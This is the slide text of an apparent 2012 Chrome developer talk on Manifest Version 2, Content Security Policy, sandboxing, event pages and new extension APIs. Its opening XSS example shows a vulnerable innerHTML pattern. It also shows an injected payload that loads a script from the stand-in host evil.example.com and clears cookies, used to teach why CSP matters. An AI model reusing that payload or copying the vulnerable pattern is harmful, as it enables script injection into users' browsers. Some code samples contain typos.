Video: youtu.be/x9KOS1VQgqQ

Extensions Today

Powerful, widely used, and well-loved

Extensions Today

Not as trim as we'd like

Extensions Today

Secure, but a tempting target

Manifest Version 2

Tightening up security, by default.

XSS Attacks

var data = document.getElementById('data');
chrome.extension.sendRequest({toProcess: data.innerHTML});
chrome.extension.onRequest(function(request) {
  // Process `dg`'s contents: displaying them in the extension's popup.
  var dg = document.getElementById('dumpingGround');
  dg.innerHTML = request;
});
<address id="data">
  <script src="http://evil.example.com/hax0r.js"></script>
  <script>chrome.browsingData.removeCookies({since: 0 });</script>
</address>
…banning HTTP scripts and banning inline scripts would prevent 94% of the core extension vulnerabilities…
Nicholas Carlini, Adrienne Porter Felt, and David Wagner
University of California, Berkeley http://goo.gl/I4Maf

Manifest Version 2

  • Introduced in Chrome 18, and ready for you to migrate into.
  • Some API cleanup, alongside two big changes: a default Content Security Policy, and Web Accessible Resources
  • Manifest Version 1 is deprecated, and new APIs will generally require the new manifest version.
{
  "name": "Awesome Extension",
  ...
  "manifest_version": 2,
  ...
}

Manifest Version 2: Structural Changes

background property is becoming slightly smarter:

{
  ...
  "background": {
    "page": ["main.html"],
    /* OR */
    "scripts": ["library.js", "main.js"]
  }
  ...
}

chrome.extension.getTabContentses is gone, use chrome.extension.getViews({ "type": "tab" }) instead.

Web Accessible Resources

Resources are hidden from websites unless explicitly whitelisted:

{
  ...
  "manifest_version": 2,
  "web_accessible_resources": ["public.png"],
  ...
}
<!-- Loads! -->
<img src="chrome-extension://aibdccddilifddbjkljsfdcfh/public.png">
<!--Fails! -->
<img src="chrome-extension://aibdccddilifddbjkljsfdcfh/private.png">

Content Security Policy

Mitigate the risk of XSS and other attacks by whitelisting origins allowed to deliver resources to a page.

You can (and should!) define a policy for your websites via an HTTP header, and for your extensions via the manifest:

{
  ...
  "content_security_policy": "script-src 'self';
                              object-src 'none';
                              img-src https:",
  ...
}

Content Security Policy: Details

goo.gl/HjT6u

Default Content Security Policy

script-src 'self'; object-src 'self'

Impacts:

  • No JavaScript from third-party servers
  • No objects (Flash, etc) from third-party servers
  • No inline JavaScript (script tags, inline event handlers, javascript: URLs, etc)
  • No eval (including new Function(), setInterval([STRING], ...), and setTimeout([STRING], ...)
  • No XSS attacks (ideally)

Content Security Policy: Third-party Resources

If you have a need for third-party JavaScript or Flash, you may loosen the policy to include HTTPS (but not HTTP) origins:

script-src 'self' https://ssl.google-analytics.com; object-src https:

We'd be thrilled if you locked things down even further when possible:

default-src 'none'; img-src https://my.example.com; script-src 'self'

Content Security Policy: Inline JavaScript

This policy can't be loosened. The following code would need to be adjusted:

<script>
  function doSomethingAmazing() {
    alert("WARNING: AMAZINGNESS OVERLOAD!");
  }
</script>
<button onclick="doSomethingAmazing();">Amazing!</button>

Content Security Policy: Inline JavaScript

function doSomethingAmazing() {
  alert("WARNING: AMAZINGNESS OVERLOAD!");
}

document.addEventListener('DOMContentReady', function () {
  var b = document.getElementById('amazing')
  b.addEventListener('click', doSomethingAmazing);
});
<script src="js/amazingness.js"></script>
<button id="amazing">Amazing!</button>

Content Security Policy: Eval

This policy cannot be loosened. Please don't use eval.

That said, many of you have legitimate use cases that this policy breaks. Templating libraries are a great example. We'd like to offer an alternative.

{
  ...
  "sandbox": {
    "pages": ["sandbox.html"]
  },
  ...
}
Pass data into the sandbox via postMessage for dangerous processing. Pass data out of the sandbox for safe handling.

Content Security Policy: Sandbox

Step 1: Add an iframe to your background page.

<!doctype html>
<html>
  <head>
    <script src="main.js"></script>
  </head>
  <body>
    <iframe id="iframe" src="sandbox.html"></iframe>
  </body>
</html>

Content Security Policy: Sandbox

Step 2: Fill that iframe with templating goodness.

<!doctype html>
<html>
  <head>
    <script src="handlebars-1.0.0.beta.6.js"></script>
  </head>
  <body>
    <script id="tmpl" type="text/x-handlebars-template">
      <div class="entry">
        <h1>Hello, {{thing}}!</h1>
      </div>
    </script>
    <script src="sandbox.js"></script>
  </body>
</html>

Content Security Policy: Sandbox

Step 3: Do a tiny bit of heavy lifting with message events.

var source = document.getElementById('tmpl').innerHTML;  
var template = Handlebars.compile(source);

// Set up message event handler:
window.addEventListener('message', function(event) {
  var command = event.data.command;
  switch(command) {
    case 'render':
      event.source.postMessage({
        name: name,
        html: template(event.data.context)
      }, event.origin);
      break;
    ...
  }
});

Content Security Policy: Sandbox

Step 4: Post messages to the iframe to safely evaluate code.

chrome.browserAction.onClicked.addListener(function() {
  var iframe = document.getElementById('iframe');
  iframe.contentWindow.postMessage({command: 'render',
                                    context: {thing: 'world'}}, '*');
});

window.addEventListener('message', function(event) {
  if (event.data.html) {
    console.log("HTML Received for '%s': `%s`", event.data.name,
        event.data.html);
  }
});

Manifest Version 1: Support Schedule

  • Chrome 21: No new extensions built using manifest version 1 can be uploaded to the Chrome Web Store (existing extensions will be grandfathered in).
  • Chrome 23: Chrome will stop packaging manifest version 1 extensions.
  • Q1 2013: Manifest version 1 items will no longer appear in search results.
  • Q2 2013: Manifest version 1 items will be unpublished from the store.
  • Q3 2013: Chrome will no longer run manifest version 1 items, period.

The (Nearish) Future

Do more, while requesting less

Task Manager: 15 extensions, ~25mb each

Event Pages

There when you need them, gone when you don't.

Event pages are spun up when needed, and killed when idle.

Event Pages: Opt-In


{
  "name": "Event Pages!",
  "description": "An extension with an event page.",
  "manifest_version": 2,
  ...
  "background": {
    "scripts": ["main.js"],
    "persistent": false
  },
  ...
}

Event Pages: Background Page Lifecycle

// On installation or update, set the count to 0.
chrome.runtime.onInstalled.addListener(function() {
  chrome.storage.sync.set({'clickCount': 0});
});

// Increment the counter when clicking the browserAction.
chrome.browserAction.onClicked.addListener(function() {
  chrome.storage.sync.get('clickCount', function(items) {
    chrome.browserAction.setBadgeText({text: items.clickCount + 1 + ""});
    chrome.storage.sync.set({clickCount: items.clickCount + 1});
  });
});

// Remove the count when the background page is killed.
chrome.runtime.onSuspend.addListener(function() {
  chrome.browserAction.setBadgeText({text: ''});
});

Event Pages: Alarms

// Wake me up with an `onAlarm` event in 5 minutes:
chrome.alarms.create('alarm1', {delayInMinutes: 5});

// Wake me up every 10 minutes:
chrome.alarms.create('alarm2', {periodInMinutes: 10});

// Wake me up at exactly 11:30 on July 27th, 2012.
chrome.alarms.create('alarm3',
    {when: (new Date(2012, 6, 27, 11, 30, 0)).getTime()});
         // ^^^     miliseconds since the epoch     ^^^
// Handle the onAlarm event.
chrome.alarms.onAlarm.addListener(function(alarm) {
  if (alarm.name === 'alarm1')
    // Do something amazing!
  else if (alarm.name === 'alarm2')
    // Do something amazing, repeatedly!
  else if (alarm.name === 'alarm3')
    // Present the future of Chrome extensions at I/O.
});

Keybindings

Binding global keyboard shortcuts is, currently, a mess:

  • Request host permissions to the entire internet
  • Inject a content script that listens for keypresses
  • Fervently hope that things don't break

We can do better.

Keybinding API: Declaration

{ ...,
  "manifest_version": 2,
  "permissions": [ "keybinding" ],
  "commands": {
    "my-custom-command": {
      "description": "Do something customly brilliant.",
      "suggested-key": {
        "default": "Ctrl+Shift+T",
        "linux": "Alt+Y"
      }
    },
    "_execute_browser_action": {
      "suggested_key": {
        "default": "Ctrl+Shift+O",
        "windows": "Alt+O"
      }
    }
  },
  ... }

Keybinding API: Execution


chrome.experimental.keybinding.onCommand.addListener(function(command) {
  if (command === 'my-custom-command')
    // Respond gracefully to your user's request.
});
document.addEventListener('DOMContentReady', function() {
  // Do something in response to your popup opening.
});

Keybinding API: TODOs

Mac support is coming soon.

Conflicts: First installation wins at the moment. A UI for adjusting shortcuts is coming.

Declarative Web Request API

var cancelable = new regexp("evil=1$");
chrome.webrequest.onbeforerequest.addlistener(function(details) {
    return {cancel: cancelable.test(details.url)};
  },
  {urls: ["<all_urls>"]},
  ["blocking"]);
Chrome is a multi-process browser: pushing messages from the web page to extensions' processes is expensive.

Declarative Web Request API

{
  ...
  "manifest_version": 2,
  "permissions": ["declarativeWebRequest", /* HOST PERMISSIONS */],
  ...
}
var rule = {
  conditions: [
    new chrome.declarativeWebRequest.RequestMatcher({
      url: { hostSuffix: 'evil.example.com' } }),
  ],
  actions: [
    new chrome.declarativeWebRequest.CancelRequest()
  ]};
chrome.declarativeWebRequest.onRequest.addRules([rule]);

Declarative Web Request: Conditions

http://evil.example.com:80/onemillion.js?million=billion
new chrome.declarativeWebRequest.RequestMatcher({
  url: { scheme: ['http', 'https'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { hostEquals: 'evil.example.com'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { hostPrefix: 'evil.'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { hostSuffix: '.com'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { hostContains: 'example'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { ports: [80] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { ports: [80, 443] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { ports: [5, [70, 90]] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { pathEquals: '/onemillion.js'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { pathPrefix: '/onem'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { pathSuffix: 'on.js'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { pathContains: 'million'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { queryEquals: '?million=billion'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { queryPrefix: '?million'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { querySuffix: 'billion'] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { queryContains: '?million='] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { queryContains: '&million='] } });
new chrome.declarativeWebRequest.RequestMatcher({
  url: { urlEquals: 'http://evil.example.com/onemillion.js?million=billion'],
         port: [80] } });

Declarative Web Request: Actions

var rule = {
  conditions: [
    new chrome.declarativeWebRequest.RequestMatcher({
      url: { hostSuffix: 'evil.example.com' } }),
  ],
  actions: [
    new chrome.declarativeWebRequest.CancelRequest()
  ]};
var rule = {
  conditions: [
    new chrome.declarativeWebRequest.RequestMatcher({
      url: { hostSuffix: 'evil.example.com' } }),
  ],
  actions: [
    new RedirectByRegEx({from: "^http://(.*)$", to: "https://$1"}),
    new RedirectByRegEx({from: "^gopher://[^/]+/(.*)$",
                         to: "http://gopherproxy.example.com/$1"})
    //     RedirectRequest("http://notevil.example.com/")
    //     RedirectToTransparentImage()
    //     RedirectToEmptyDocument()
  ]};
var rule = {
  conditions: [
    new chrome.declarativeWebRequest.RequestMatcher({
      url: { hostSuffix: 'evil.example.com' } }),
  ],
  actions: [
    new SetResponseHeader("Content-Security-Policy",
                          "script-src 'none';"),
    new SetRequestHeader("User-Agent",
                         "Sekrit Browser (KHTML, like Gecko)"),
    new RemoveResponseHeader("Cache-Control"),
    new RemoveRequestHeader("If-Modified-Since")
  ]};
var rule = {
  conditions: [
    new chrome.declarativeWebRequest.RequestMatcher({
      url: { hostSuffix: 'evil.example.com' } }),
  ],
  "priority": 1000,
  actions: [
    // new Action1(...),
    // new Action2(...),
    new IgnoreRules({ lowerPriorityThan: 1000 })
  ]};

Active Tab Permission

{
  ...
  "manifest_version": 2,
  "permissions": ["activeTab", "tabs"],
  ...
}
chrome.browserAction.onClicked.addListener(function(tab) {                                                                        
  chrome.tabs.executeScript({
    code: "alert('Executed script without host privileges!');"
  });

activeTab will grant temporary access to a page, significantly reducing the base level of permission required.

So, what now?

  • Start migrating to manifest_version 2. Report issues either to chromium-extensions@chromium.org, or at new.crbug.com
  • Take a look at the new APIs.
  • Start experimenting in channels (no experimental flag)
  • Tell us your pain points.

<Thank You!>

mkwst@google.com